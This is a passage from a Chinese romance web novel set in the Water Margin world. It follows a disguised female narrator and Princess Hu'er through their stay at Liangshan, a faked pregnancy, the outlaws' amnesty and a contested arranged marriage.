却被门外大嫂爽朗的声音打断,“宋妹子,你们吃好了吗?” 确实起晚了点,不敢再耽搁了,我们忙起身随她去见了老大哥。 “昨晚歇息的可好?”宋大哥一面问着,一面放下了手里的杯子。 我们的答案自然是点一百个赞啊! “要是喜欢,就多住些日子,待会让他们带你们到处转转!至于向大人。。。。。。。”宋江转眼注意到,幽幽然飘来的,又寒暄了几句,本想送向子房离开,他却以要挽回未婚妻为由死活要留下来。 挽回瑚儿?!这是什么鬼借口! 算了,小心点微妙。不过我们也不能白来一趟梁山,一来瑚儿喜欢热闹,二来我记得这里有神医安道全,虽然芊寻的医书精湛尚且无法根治瑚儿的寒疾,但是也许医术各有神通吧!有希望总是好的!安大夫也是仗义,开始为瑚儿施八脉神针,因此每天傍晚的固定时间,我们都会来到医馆。无意间也会关注起来问诊的孕妇,但是想想,尚有一年多才是谦月说要回来的日子,就算是转生而来,现在找有孕之人还是太早了,就作罢了! 诊治之余,我和瑚儿倒是真的与一众好汉相处的很开心。梁山这里除了各处兵种每日在操练,还有不少市井气息的区域,渔猎而来的以物易物、互通有无,闲下来便饮酒作乐,倒是有些醉生梦死的快活。 至于说要“追妻”的向大人,虽然也是不远不近的跟着我们,却更多留意的梁山的地形和军事布防。连我都看得出,想必宋江自然也是心知肚明,不过想想水浒传的发展,他是期待被招安的。所以对于向大人打探的默许,与其说是泄露不如说是让朝廷知道他们一众英雄各有神通,有用之人才会有被以礼相待、有平等谈判的可能。 本以为可以就这么相安无事,没想到一些奇怪的较量却开始了…… “中了,连中”叫好声响彻山谷,这日张清教了我瞄准的要领,我便掷飞石打中几个三十余步外的酒壶,引得众人连连叫好,瑚儿也跳着拍手。这时花荣也不甘示弱,搭弓射落了一盏灯笼,后将弓箭递给我,要教我挽弓射箭,还没等我接下,被张清揶揄到,“曹小兄弟膂力过人,学会了瞄准之法,射箭自是不在话下,只是若是突发对战,到哪里去寻你的宝贝弓箭呢?”说着掂量起一块小石头,也打落了一盏灯笼,“花里胡哨的不实惠啊”花荣涨红了脸,丢下一句“我改日再来找曹公子”,便转身离去,旁人开始碎碎念起来:我得改改注了,要不给曹公子也压点。 哦,与我有关的……赌注吗?(o_o)??回想起来,最近确实有不少人偷偷看着我们,偶尔还带着窃窃私语起向子房。还总有人拉着学这学那,在展示学习成果时,向子房也阴魂不散的跟过来孔雀开屏秀才艺!他有意无意的和我做着相似的事,射箭、投石、揭榜对诗,甚至送瑚儿衣服首饰这类的大献殷勤。 狐疑之间,我便拉着瑚儿来到了忠义厅旁的“大义茶坊”,里面说书的正声情并茂的说着……说那向公子是才貌双全,用情深重,纵然宋姑娘已是明日黄花,依然不离不弃,只盼守得云开见月明那日。 茶客中竟然有叹息之声音(╯‵□′)╯︵┻━┻可惜啥啊!瑚儿要是和我在一起真的这么委屈!!!!!o(╥﹏╥)o 不过……先朝也有已婚妇人再嫁当皇后的先例,而且,嫁给谁不重要,心向何方才重要,众位也不必可惜,只要觉得相配,大可投注祝福吗?说着,小二揭开了一块布,一个大板子展现在了我们面前,“芳心何许”向公子:父母之命,一赔三;曹公子:占得先机,一赔……五十?(╯‵□′)╯︵┻━┻x10086 “曹兄弟你也来了?”鲁智深突然出现,“我了解你们俩,大家就是闲着玩闹呢?不必介意”说着鲁智深起身去台前,还回头想我点了点头,“五坛酒,压……向公子”啊? “哈哈,这赔率?”瑚儿不禁失声笑了出来,“他们是不是以为我一朵鲜花……”扭头看到我面色金属含量过高(铁青),就抿住了嘴。 “对了”瑚儿拉着我起身,“今日阮氏兄弟还约了我比游水呢?走吧~走啦,倪五十~” 被拉着走时,看着瑚儿的背影,依然俏丽婀娜,我到底在气什么呢?别说我是个女人,就算我是男子,向子房的家世相貌、仕途经济也远胜于我吧!而且她家里人也觉得他们相配,瑚儿不也是打算好好考虑向子房这个人了吗?我是不是只要履行好我的职责就好了,抱枕和知己!瑚儿是不会也不能喜欢女人的吧! “还在为赔率的事不高兴?”瑚儿回头看看我,又笑了“哎呀,我会让你赢得!” 这输赢有什么意思呢!?只是大家觉得谁更登对罢了! 而我突然我意识到了什么,拉住瑚儿的手,“你的月事快到了吧!”我站定拉住瑚儿也停下来,“现下天气转凉,万一冰坏了呢?” “自从身体里有了你的血脉,我真感觉充满了力量,好多了,再说~还有几日才到呢?而且”瑚儿回握我的手,轻轻摇晃,似是在撒娇道“我是真的喜欢游水,能和活阎罗、浪里白条这些人一较高下,我期待已久,就让我去嘛!好不好,小飞飞~” “你可别瞎说了”,什么叫我的血脉,我恨不得捂住她的嘴。我看看四下似乎无人,舒了口气。 其实是安神医察觉施针效果不理想,但是又不甘心放弃,便和我们商量,打算用灵犀黑蛇将我的炽热之血换给了瑚儿些许,他自己也说这是他能力所极了,没办法的办法。其实这对我来说根本不是问题,本来就是因为我才让她遭了这种罪,别说是血,如果我能替她承受,我也愿意。换了两次血后,因为寒毒猛烈,安神医仅有的灵犀蛇元气大伤,冬眠了。因为夜里有我相伴,瑚儿倒是不会太冷,所以换血到底效果如何,一切得待她下一次月事来时见分晓了。 “真的这么想去!?”我看着她的眼睛“就算过后疼的打滚也不后悔?” “不后悔!”瑚儿自信的仰起头。 “好!”我叹了口气,既然知道后果也要做的事,那就趁着年轻喜欢做吧! “你最好了!”瑚儿开心的抱了我,而后拉着我继续向前“我要是真的疼的受不了,还可以捶打你吗?”瑚儿嘟囔着说,反倒没什么底气。 “好~吧”我又叹了口气,就是没这事,你月事难受的时候也没少锤啊╮(╯▽╰)╭既然想好了,就一起面对吧! “真不听话!”向子房悠悠然走到我旁边,此时我手里捧着热乎乎铜怀炉和一盅向安神医讨来的驱寒汤药,不可思议的看着他,“嗯?”我们混在水岸上的人群里,等着瑚儿他们比试的结果。 “她现在是你娘子!”向子房咬了咬牙,“我现下没有身份让她听我的话!……” 干嘛要听你的话?如果嫁了你就得什么都听你的一样,最算是为她好,也没必要强制她违背心愿吧?! “她知道自己在做什么!”我说完便转过头,继续把注意力集中在水面上,又将包着药盅的布裹得更严实些。 “好~闭气和水下视物远胜于我啊”波光粼粼的水上,两滩水花涌起,日头映照下,出水的人被衬得更加白亮,“哈哈哈,以后这浪里白条的名号,可是要让给宋妹妹了”瑚儿内穿着纤云甲,外穿白纱布小衫,由宽腰带封紧腰腹之处,下身穿着较为贴身的褐色长裙,笑着向岸上走来。 我赶忙迎上去,将怀炉塞给她抱紧后,又将药盅打开送到她嘴边,她直接喝了起来,我便一手托着药盅,移到她身旁,另一只手将披着的大氅拉过来,连同手臂搭在她肩头,披好之后,扶着她的背,在一片起哄声中快步离开。 游水比赛后的几日,我们搬到了安神医的偏屋里,这是我那日讨药时,安神医主动和我约的,他说,受瑚儿所托。躺了几日,刚有缓和,她的月事也提前一天到来了,如往常一样的疼的想打人,我也心里暗自打鼓,难道真是不该由着她胡来吗?我换给她的血到底有没有用处,还是这次特殊受了寒呢? “我跟她们说,我的游水本事是水师里退下来的老人们教的”瑚儿倚在床头,靠着我,我向以往一样为她放好怀炉,又缓缓按摩她手上的合谷穴。她动了动头,脸侧感觉到了她因为冷汗而湿漉漉的额头,“他们都是很好的人,只是不肯服软,梁山水上的优势终不长久的,挫挫他们锐气,对大家都好的!”瑚儿的气息弱弱的。 “我原以为你是玩闹,没想到这么正经的想这些”我轻轻叹了口气,她越来越有帝姬的自觉了。为国为民为政,会做很多“正确”的事了!只是她想不到,宋大当家是主力议和的。不过现在朝廷觉得梁山之人有用,招安是早晚的事。只是他们的结局,确实令人唏嘘。 “妹妹好些了吗?”是顾大嫂她们,我扶着瑚儿坐直,又往小火炉里填了几块碳,为她们开了门,“现在不比往常,虽然我们也敬你英勇,不输给那些爷们!可……”扈三娘来到床前,轻轻摸着瑚儿的小腹,关心着。 “你啊~也真是冒失,万一伤了身体落下病根怎么办?”孙二娘也说到,“而且你也不为小的想想……” “小的?”我疑惑着重复,又被孙二娘锤了一拳在胳膊上…… 64、繁荣 “安神医说瑚儿已经有两个月身孕了”“哎,看来大多数人都压错了,我说你怎么不着急呢?”“我没压错啊”“要说大赢家,应该是大当家吧!他好像通杀了!”屋子里热闹非凡,我却被安神医的药童叫了出去。 “安大夫,瑚儿她拜托你的是这个事情吗?”我见了神医没有说话,直接憋不住问道。“好歹也是女子,传出去也真是不好啊” 安道全喝了口茶,“她的身体状况,确实不适合为人妻、为人母,未来你若愿意,她若愿意,你们互相伴着彼此也是好的” “为我们换血时,您知道我是什么情况的,你觉得我们能有什么未来吗?”我感叹道。他是神医,把脉还分不出男女嘛!可是我明知故问,是不是也只是想要一个支持呢? “世间本该阴阳调和”安道全想了一会回答说“可偏偏也有同性之情,我既然不懂,自然也无从规劝。老夫学医多年只明白一个道理,那便是从来不是越名贵的药材越好,治病还得对症啊!” “对症?”我喃喃道。 “算了,这也是你们两人的事,离开梁山之前,你们都可以住在我这里”安神医见我没有说话,便让我回去陪瑚儿了,“对外就说调养吧!” “多谢您!”我向安神医作揖感谢。 “倒也不必多想”安神医突然如孩子一般的语气“我也不喜欢那个假笑儒生,而且……你们也让我赢了不少……哈哈哈” 额,难道也是为押注啊⊙﹏⊙|||。 回去的路上我不禁琢磨起:对症这个词。其实也许就是“刚刚好”吧,可这是多么难能可贵呢!这几天很多婚配的衡量标准围绕着我们,什么是相配呢?有了孩子就算定下来了吗?人呢?家世好,优秀的人,或许会吸引人吧!但是我和瑚儿也谈起过,找爱人又不是考状元,看似某个方面优秀的人相处起来、过起日子来,也未必舒心。能像芊寻谦月那样为彼此掏心掏肺的爱人,是让人羡慕的,但我们大多数人,能把柴米油盐的平淡日子过好,就已经很了不起了。好人难寻,遇到了还得考虑合不合适,异性之间的良人尚且难寻,更何况世人眼中不寻常的同性呢? “要不就叫水生吧!哈哈哈”“啥呀!万一是女孩呢?” “要不就唤作泩儿”“毕竟也是海里来浪里去过得娃娃” “也挺别致的嘛”瑚儿笑着应和道“我还真是与水缘分深,泩儿也真是不错的名字!” “好了,曹兄弟回来了,我们也先回去了,你好生照看着啊!”三位女将嘱咐了一番,笑着离开了。 “你手里是?”瑚儿见我手里端着药碗。 “安胎药呗~”我摸了摸温度尚好,便递到她嘴边,“来,大娘,喝药了~”我和她八卦过潘金莲的故事,她翻了我个白眼,接过药喝了起来。“这不还是驱寒的嘛” “你不是”我压低了声音凑过去,“装的嘛!还有,别让她们看到你这手臂”我戳了戳瑚儿的胳膊上被衣服掩盖,却透着红色的守宫砂。 “哦~小飞飞,别气嘛,我这也是为了给你出口气”瑚儿将药一饮而尽,“现在不是挺好的,大事也解决了,小事也解决了”瑚儿抬手用手指扫了扫我的下巴,调戏一样。 “小事?”我脑子里想到了向大人,这一般男人都受不了吧! 罢了,如果真的不喜欢,吓跑他也挺好,就是不知道金奴会不会轻易放弃。 “你这怀里抱的是什么啊?”见瑚儿抱的怀炉边有个拳头大小的布包,我不禁想戳一下,硬的?“石头吗?” “蛋啦”瑚儿将布包放在怀炉上以保持温度,然后轻轻的打开布,里面是一枚鸟蛋。 “哦~这就是咱们的孩子吗?”我做作的半跪下身子,用手轻轻摸着表面麻麻却有温热手感的蛋壳,故作激动的说“孩子妈真是辛苦了!”,然后摸摸瑚儿的额头说,“要不请安神医再开点药吧!” “我又没疯”瑚儿又白了我一眼,“前几日在解二哥那里捡了它,好像是鹰的蛋,刚好这几天我都要卧床保暖,哪也去不了,就试试能不能孵出来吧!” 我又戳了戳它,“看起来挺有营养的,要不……”没等我逗完呢? 咔嚓声传出来……一只灰色冒着白绒毛的小家伙破壳而出,对着一脸惊喜的瑚儿嗷嗷叫着…… 接下来的几天,我学着以往电视剧里伺候孕妇一样照顾瑚儿,晚上如常和她一起泡脚,一是解乏二是活血温暖嘛!还被女好汉们要求学做几个清单温补的菜,安神医还教我每天给瑚儿按摩按摩腿。对了,还得每天分四次定时喂“青儿”(鹰宝宝),本来她想叫小飞的,我“宁死不从”,便从青鸟那里取了一个字。就这样,日子过得忙碌却温馨。 偶尔有那么一瞬间,在安静的庭院里,当斜阳照在我们身上的时候,当我一边为瑚儿捏腿,一边看着她悠闲吃葡萄的时候。我竟然希望时间可以永远停留在这里,或者说这种假象永远延续下去。 但我们不能停在这里啊,我还有必须做的事,而且我们也不能稀里糊涂的不努力就虚假的拥有幸福……有太多问题没有解决! 可是,当瑚儿总说着“你先帮我学着吧!”“不如,以后不管我到了哪里,我都给你就一间房!我们一辈子像现在这样好也挺好!”……我的心中幻象,却又被勾起…… 可是对未来的担忧,让我不敢正面接话。她很好,可是又那么年轻,她对人的喜欢是不是还处在同性依赖的时候呢?等她长大一点,等我能找到解救她的办法,是不是她就会有喜欢的其他人了! 年轻时的诺言,守得住吗? 对于她的邀约,我只能故作命苦的唤着“赵扒皮啊赵扒皮,你真打算欺负我一辈子啊……” “我乐意啊,而且绝不叫苦!”没想到,消失几天的向子房却突然出现了,“只要帝姬愿意与我完婚”他不远不近的看着我们,依然是笑的礼帽却不真实! “哪里来的蚊子扰人~”瑚儿要拉着我离开,却见宋江的小斯进院传信,“曹公子、曹夫人,今晚有烟花盛会,大当家派我邀请二位” 盛会?原来是谈好了招安之事,好汉们决定痛饮三天三夜,各个绝活都秀一秀,然后就进京面圣。 是夜,忠义厅里人声鼎沸,酒气环绕,不喝都能把人熏醉了。见我们来了,大家也免不了道贺和寒暄,还有起哄说我“你小子行啊,先下手为强,害我赔了不少”“不过你可别得意,日后发现你欺负宋妹子,我们可不饶不了你”“宋妹妹不能喝,你替她”我只能忙着应和,见瑚儿也被起哄的脸红,便赶紧周旋一番,尽快带瑚儿来到外面山坡上。 “马上就要有烟花了!”我将带着的大氅为她披好。 “大家都有好前程,真是太好了”可能是冷了,瑚儿转过身背对着拉过我的手,将她环抱得更紧。好前程?我应该告诉她梁山好汉的结局吗? “嘭……”瞬间如白昼一般,厅里山外都更加热闹了。我还是没法张开口。 她却扭头似乎在说话,我没听清,就凑近过去问她说了什么,她摇头不肯再说,又转头去看满天烟花,闪烁的火光映在她脸上,那么平静美好,让我忘记了追问。 她总是这样,喜欢在烟火里说话,却不肯让我听到。但,这是我们这辈子倒数第二次一起看烟花了…… 65、满意 与好汉们一道回了京,路上大家对瑚儿更是爱护有加,弄得我们非常不好意思。 因为不方便一起面圣,我们便回了万福园,许久未见的金奴依然云淡风轻,一边喝茶一边和自己对弈。一进门,她端起腔调“哎呀~小妹别站着了,动了胎气可怎么好?”而后又埋怨我“你这孩子爹还不快扶她坐下!” 看来我们在梁山的“爱情故事”,她是了若指掌啊! “姐~我错了~说谎也是为了给招安大计出一份力嘛!”瑚儿忙拿起水壶坐到金奴旁边,要给她斟茶,“你不是总教我过程不重要,结果好就行嘛,现在是皆大欢喜啊~” “驸马”金奴没有看瑚儿,却也任由她添水,转而和我说起“你已离家多日,不去向母亲请安吗?” 她们姐妹俩有话说,我便知趣离开。确实也该去和娘说一下芊寻的情况,至于谦月会回来的事,因为我们一时也理不出头绪,便没敢提及,娘听了芊寻尚有苏醒的希望,欣慰不已,但却依然愁容难解,她刚刚给江绮月喂完了药,她的状况也不大好,“至少,她再也不会离开我身边了”,娘苦笑着。 不想过多的打扰她们,我就告辞离开了。 路过芊寻最后待过的房间,不禁推门进去看看,屋内因为一直有人打扫,就好像她从未离开,坐在那晚的位置上,对面却看不到那个如月光一般的人了。相识一场,你还是不知道我的名字啊!也许,对你来说也并不重要吧…… “小飞”瑚儿的声音打断了我的惆怅,“走吧!去吃点东西,然后休息休息,接下来有的忙了!” “好”我被她拉起身,应和着,然后回过神才问道“忙什么?” “成家!”瑚儿没有停下脚步。 “什么?”我以为自己听错了,不自觉站定。 “成家!”瑚儿重复了一遍,语气里竟然洋溢着喜悦。 “和谁?”我追问。“向子房?” 瑚儿迟疑了一下,竟然点头。 “为什么?这么突然……你不是不喜欢他吗?”我不可置信的拉过她,“是金奴!?她和你说了什么?” “姐姐一直在帮大哥谋划,向家确是很大助力的!”瑚儿一改往日稚气模样,认真的回答到,只是笑容也早已偷偷收起。 “对你大哥有利,那你的想法呢?”其实从向子房出现以后,我心里一直隐隐约约的不安,只是没有什么反对的立场,如今她自己说出来,我反倒是脱口而出的劝阻“婚姻不是儿戏!要是真的和他成了亲,就……” 就不能像现在这样自由,想去哪里就去哪里,想做什么就做什么了。可是我有资格说完这些吗?和我相伴同游的日子就算自由吗?如果自由的代价是痛苦呢? “成家……也没有那么可怕吧!”瑚儿看着我,拍拍我握着她肩膀的手,似乎是安慰“你和二姐,不也没为难彼此吗?” “那怎么一样?我们又不是真的……”我有些颓然的放下了手。 “那我的就非得是真的?”瑚儿说着贴近过来,用手指戳了戳我的酒窝“怎么,我要嫁人,你……舍不得?” “呜嗷”我假装张口要咬她手指,动作不快,足够她逃开。 “走吧,先去吃点东西!”瑚儿转身背过手叫我跟上。 “所以到底是真的假的?”我追上去想一问究竟。 “真的!?假的!?”瑚儿故作沉吟,“真真假假” “事是假的还是人是假?”Σ(°Д°; “快走啦,我都快饿死了!”(??▽`)ノ?? 饭桌上瑚儿依然是若无其事的样子,甚至还满怀期待的和冷语说着近日的安排,买房、置地……可我却怎么也静不下心来。思来想去,解铃还须系铃人,虽说是瑚儿的婚事,但我相信主导人是金奴吧!要不要去找她问问,可是瑚儿也告诉过我要小心与她相处。 算了,交给命运吧!如果面前这盘花生是双数的话,我怎么也得去找金奴问个究竟,心里默数:一颗……六颗……十九…… 奈何计划赶不上变化快!我刚开始数,就被供职的枢密院传令议事……这还真是破天荒。 自从和金奴成了亲,我便不再与兵事有关,就让我这个“文科武探花”去枢密院挂了个闲职——签书院事下属的从史。平时也没有什么事要做,就是统计统计各地战事,分析需要的物资。这个职务让我可以了解谦月可能出现的地方,所以偶尔我会去点卯看消息,不过被要求前去参会还是头一遭。 “驸马爷见谅”一到官署,院事大人就在客套,“梁山众人归朝后,需要商议的事一时多了不少,加上官家令他们即日启程征讨辽国,实在忙不过来,还请见谅见谅!” 具体忙什么?就是开会讨论,见证扯皮艺术,好像也不用我发言啊!我在唇枪舌战的背景音中翻了翻文册,今年收成不错,军粮充足,梁山兵马需要车马辎重说多不多说少不少,好像也没有什么困难,怎么迟迟没推进呢? 渐渐的,我听出他们争论的焦点主要有二,因为不知道上头到底信不信梁山兵众,给的不足怕人心不稳,足了怕他们陈兵边境再拥兵自重。还有合兵一事,周边还有几个州府驻军,背后各属几派,到时让谁去协助策应呢?朝上各方势力都既不想伤了本军,也不想错过了功劳。 就这样从中午吵到了傍晚,然后听着鼓声,大家突然准时下班! 终于可以回家了,我弹射起步,却在门口被两个叫不太上名字的同僚拉住,说要请我喝酒。 我已经莫名被迫听了一下午的嘴仗,现在都快急死了,恨不得马上向金奴问个明白!自然推脱。奈何他们说就是受了公主的意,让我多结交结交同僚们,如果我不从,他就得以死谢罪了!不知真假,反正我袖子都快被拽下来了,实在逃脱不掉,就被他们拉到了“主月楼”。 你们这些古代男的谈事情、长见识就非得到风月场所吗?(╯°Д°)╯︵┻━┻ “你确定这是公主的意思?”屋内除我们,还有几个没怎么见过面的大人,我看着屋内翩然穿行的精心打扮、衣着鲜艳招摇的“热情女孩”们,又看着喝酒陪笑的同僚。“在下却有不便,谢谢大人们的好意了”我起身告辞,他自然不放,却在走廊拉扯之间,瞥见了楼下刚进门的一群人,冤家路窄!里面正有让我烦心一整天的——向!子!房! 鬼使神差地躲了起来,想看看究竟,后退时却又被那两位借机拉回房间。 既然一时脱不开身,不如打听打听。 “向大人啊,算是这里的常客!”未等同僚开口,旁边的女子已经作答,“他风流倜傥,出手也大方,待人温柔有礼!我们都很喜欢他的!” “哟,你这么说我可伤心了”同僚甲故作吃醋,撒娇的让女子喂了他一口酒。 “你们怎么不说他家有美妾、儿女双全,是个让男人羡慕的俏郎君呢!”另一位同僚挑逗着怀里的女子。 “曹大人,您的眉头都快系成节了!来我陪您喝一杯”我身边的女子见我面色阴沉便想起应该“敬业”点,却被我抢过杯子,没趣的尬笑。 这样的人怎么娶瑚儿?我一口闷下手中的酒,心中火和喉头火齐燃。 “那二位大人可听说,官家有意招他为驸马?”我叹了口气,询问道。 “好像有这个说法,”同僚乙咽下了口中的菜说道“嗐!官家女儿那么多,这种青年才俊自然在考虑行列!” “可他不是有娘子和孩子了吗?”我追问。 “这有什么!就算公主嫁入他家也自然正妻,不碍事!”同僚不解我为何疑问,“大丈夫多如是!” “好啦,别想着向大人了,奴家都冷了~”身旁女子不死心的靠了过来,向大人!向大人!我此刻分明是“想打人”!不行!我必须问个清楚,如果向子房真是如此,难道还要瑚儿嫁他吗? 又喝了几杯,然后装醉脱身,跑回万福园! “驸马回来的这么早啊!?”金奴正在看书,见到我便明知故问道。 “瑚儿的婚事真的定下来了吗?”不管她的调侃,我单刀直入的问。 “驸马是以什么身份问呢?”金奴合上书笑着反问道,“姐夫?还是?” “朋友!”我犹豫片刻后开口,“朋友关心她的……人生大事!总可以吧!” 也许在他们眼里我和瑚儿的关系确实很暧昧吧!可如果只是“朋友”这个身份呢?他们信吗?扪心自问,我自己信吗? 可还能是什么身份呢? “好吧!”金奴莞尔一笑,没有再问其他,而是缓缓说道“父皇却有意,让瑚儿明年春天完婚,算来还有三四个月,至于人选……自然是我赵家满意的!” “满意?瑚儿也满意吗?”我不禁问道,声音喃喃。“向子房他……”虽然瑚儿一直说什么真的假的,可是皇家婚姻哪有那么容易脱离,我和金奴的假把戏不也得继续演着。 “她不是在欢心筹备吗?”金奴反问道,“婚姻对于女子来说不是小事,对于公主而言就更不是简单的情情爱爱了!”金奴继续说“满不满意?相配才好!且不说向子房家世与我们有益,再者,他非家中长子,没什么好处可继承,自然上赶子攀高枝,当了驸马免了征战之苦,就可以享一辈子清闲。所以哪怕他以为瑚儿和你珠胎暗结,也照样乐意求娶她!” “我和瑚儿不是你想的那样……”听到珠胎暗结这种词,我下意识反驳。 “我自然知道!”金奴微微叹了口气,难得的表露情绪“我还知道她因为你染了寒疾,以后子息艰难!” 她继续说道,“向子房早有子女,他对瑚儿没有执着,只有讨好,瑚儿嫁与他没有后顾之忧!” “你还是一如既往的深谋远虑啊!”我听她说的这些,好像无从反驳!不禁摇头喟叹,居然忘了瑚儿的告诫,要忌惮金奴。 “当然!瑚儿是我带大的”金奴平缓着情绪,“我不可能不为她着想吧!那~身为朋友的你呢?”金奴起身走近我“不为她做点什么?” 做点什么?恍惚之间,我想起瑚儿的调侃,我……好像真的,舍不得……可 “瑚儿迟早会嫁人,不是向子房也会有李子房、陈子房……”金奴微微蹙眉,随即又舒展,“能相敬如宾、举案齐眉最好!要是相看两厌,就少见!” “像你我这样?”我肯定是有点失心疯了,居然敢这么问她。 “咱们这样不好吗?”金奴的脸上没有怒意,反倒是笑着的贴近过来,伸手要摸我的脸“你要是委屈,也可以改改~”吓得我急忙退开。 “放心!瑚儿,一天是父皇最宠爱的女儿,一天就会是向子房等人的身家性命,他不敢有异心歪念!”金奴收回手继续说“除非……你怕瑚儿与他成婚后日久生情,动了心……” 动心!? 金奴像是看出我的犹豫,继续说着“确实,瑚儿这孩子自幼喜欢热闹,谁陪她玩就黏着谁?小时候黏着我,现在黏着你,以后会喜欢谁,还真说不定呢?” 66、舍得 我是怎么离开金奴房间的,记不真切了。回过神来时,已到我和瑚儿的房门口,她在哼唱着大鱼“原来你生来就属于天际……每一滴泪水……”眼前浮现出她畅游梁山海浪之间的模样,是那么恣意快乐! “谁在外面?”我在门口踟蹰,被瑚儿察觉了,我深吸一口气调整好表情推开房门,瑚儿在执笔写着什么,见是我便起身走过来问,“你呆在门口做什么?怎么回来的这样晚?” “你去喝酒了?”她这么一说我也闻到自己身上的酒气,“居然不带我?哼~”她崛起嘴表示不满,但是我看的出她没有不高兴,“亏我在这辛苦写了一整晚!” “在枢密院听了一下午的大道理,然后被同僚们拉去喝了几杯!”我尽快缕清思绪“我拼命挣扎了,可惜没跑掉!哎!” “你在写什么啊?”我看着桌上厚厚一达纸,上面密密麻麻的字和图,“要出书?” “是自立门户的计划!”瑚儿拉我坐下,“明日我们就去看看房子……” 我迟疑了一下“不是筹备婚事吗?” “差不多啊!反正就是以后不在宫里也不在这里,我们自己造个家!家里有师师姨妈、冷雨、冷岩,有青儿……”瑚儿微微抬头,手托着腮,似乎已经看到了什么有趣的场景。 伴随着她的解说,我继续翻着她的计划手稿,什么可以看海的楼阁?逃生的密道……只能说兴奋大于可执行性!不过倒也很温馨有趣。 后面还有一个小册子,上面写着《问心》。 “问心?”我轻轻翻开喃喃读道,“考验”“何以安身?……何以获心……何以永新?……何为相思?……” “你身上还有香粉味呢?到底是去哪里喝的啊?”瑚儿趁着我认真看书‘随口问着’。 “主月楼”因为《问心》里的问题看起来比殿试还复杂且不着边际,让我全然投入,对瑚儿也是有问必答。 “哦~”瑚儿接着问,“那有没有遇到特别好看的小娘子?~” “没注意啊,光顾着打听向子房了……”我反应过来看向瑚儿,她正拄着胳膊微微眯眼看我。 “你要是想打听他,问我啊!”瑚儿轻轻笑着说,对这名字波澜不惊,“姐姐都给我说的清楚明白了!” “瑚儿”犹豫再三,特别是看到了她对未来的期待,我还是问出了我的心声“你真的,打算嫁给向子房吗?不是父母之命媒妁之言、不是你姐姐要求,是你怎么想,你真的愿意吗?” “怎么?~要是不愿意,你能带我远走高飞吗?”瑚儿轻轻拉起我的手,眼里闪着光。 好!我真的应该毫不犹豫的说出来。可是脑海里飘出很多可怕的场景,普天之下莫非王土,我们会不会被追捕、饥寒交迫、东躲西藏……瑚儿会不会后悔,万一再被抓回来呢? 但是,既然她不愿意嫁?我就应该,让她如愿。 “好!”在瑚儿张开口要说什么之前,我终于说了出来。我看向她的眼睛,然后又郑重的说“接下来我们好好准备!” “我白天和你说的不就是这个事吗?!傻瓜”瑚儿被我下定决心的样子逗笑了,“你以为百日成家是为什么啊?” “啊!?” “就这个啊!”瑚儿拿起《问心》书册,“是姐姐和我约定的,等我百日之内做到这些,就助我独自成家!” 瑚儿缓缓的说着,用少有的平静语调:“从小就有人教我德容礼仪,长大点姐姐们告诉我要享受孤寂,因为将来有一天我们会从皇宫这个大笼子嫁到另一个小笼子里!相夫教子困住一生。所以,我跑出去了!我想就算不是永远的自由,至少我也可以多存一点记忆,这样等我再被一个宅院困住的时候,可以靠这些回忆过下去…… 但是,看到了那么多人的悲欢离合之后,特别是芊寻的经历,我不想听天由命了!嫁人,真的是女子唯一的路吗? 姐姐让我经历这本书里关于成家立业的必备之事,说我可以把它当成考验,看看我到底会不会被难倒,又到底能把日子过成什么样?那困着我的樊笼,不能是我自己创建的堡垒吗?” 眼前这个我曾经以为还是小女孩的女子,此刻正爆发出强大的力量,她的想法和言语虽然尚有稚气,却已有和这个时代或者我那个时代不同的,少有的清醒。 至少我们努力过,就不会有遗憾,至于无悔,终究是要靠自己争取! 被她的光芒吸引或者担心她衣衫单薄,我不自觉的揽过她,轻轻婆娑她的肩膀、手臂。 “我会和你一起!”我被她的勇气和坚定感染,自然而然的说出心意。 “敢不一起?”瑚儿坐直身子扭头看着我,用手夹着我的脸,“你本就在这些打算里,想跑都不行!” 怎么有种被强制选择的窃喜感!虽然我知道她可能只是习惯了我,所以哪怕我只是她的暖炉,我也想和她一起闯下去! 我飘荡在这个本不属于我的时空,梦里要找的人已逐渐模糊!我沉迷在芊寻谦月的爱情悲歌里,我想帮助谦月和芊寻圆满,可这一路若是没有瑚儿,我真的还有勇气、力气走下去吗? “所以,不管姐姐和你说了什么,你都不可以丢下我逃走!”瑚儿继续认真的说着。 “你怎么知道?”我有些震惊,毕竟我才刚刚和金奴见过面。 “你刚进门时像丢了魂一样!”瑚儿叹了口气说道,“而且姐姐总是能说服人的,她绝不会只和我说那些!恐怕你以后枢密院的事也会忙起来!” 这么一说,枢密院的征召,难道是为了让我没有时间陪瑚儿!?加上她“有理有据”的分析,以为了瑚儿好的名义,无论男女都容易被劝退…… “你居然……这么厉害!”我不由得赞叹。 “你以前是不是觉得我缺心眼?”瑚儿气鼓鼓的看向我,“虽然和姐姐比起来,一般人都像傻子!但是咱们能自保也不错了!放心!以后我养着你啊,小飞飞!”说着她挑起了我的下巴。 “好吧,奴家就都依公主了!”我借势鸵鸟依人的靠上她的肩,紧张了数日,终于松了口气,想着她也累了一天,便嗲声嗲气的说:“公主倦了吧!奴家甚是心疼呢!明天就开启百日成家计划了,不如我们早点歇息?!” “甚好!”瑚儿也假装豪气,但是很快现了原形“那这一百天,我们一起努力!”她勾起了我的小拇指拉钩。 “一百天?”我重复着,“到时就都好了吗?”也许这百日考验没那么容易过关吧! “试试吧!”瑚儿捕捉着我的话,笑着,“到时就有答案了……” 想起她刚刚说我身上有香粉味和酒味,我就想自己擦洗一下,让她先躺下休息。 当温热的湿手巾敷在脸上,我闭上眼,置身在一个静谧幽暗的世界里。我的思绪又控制不住的冒出来,今日种种,我拼命想追查向子房的不好,证明他和瑚儿不相配,到底是为了瑚儿好,还是什么? 我想说服自己什么呢? 舍不得她嫁人?还是舍不得——她离开我。 瑚儿,请原谅我的自私。我知道你的身体离不开我!也许有一天,真的遇到了那个全心全意对你,和你情投意合的人时,而你也厌弃了我,我才会死心吧! 吹了灯,轻轻躺到瑚儿身边,她自然抱过来,冰冷的触感,让我自觉为她掖好背后的被子。 我习惯的问,“今天还要听故事吗?” “要”感觉到瑚儿点头,声音轻快。 “那想听什么?”感觉已经讲了好多,脑子快被掏空了。 “主月楼花魁的或者娘子们的故事?”瑚儿轻轻的说着。 “谁?没见着啊!”突然觉得凉意更胜,我不禁结巴起来“我啥也没干啊!再说………”情急之下居然拉过瑚儿的手放在胸口,“都是女的能干嘛?” “呵~我又不是没去过,女子能干的事可多了去了!”再一次痛恨天如意的一天,你为什么让瑚儿知道这么多奇怪的知识!!!瑚儿抽回手前,竟然真的顺手碰触了我一下,胸口瞬间的冰冷刺激,让我不觉吸了口凉气!居然被这孩子调又戈了(/~\) 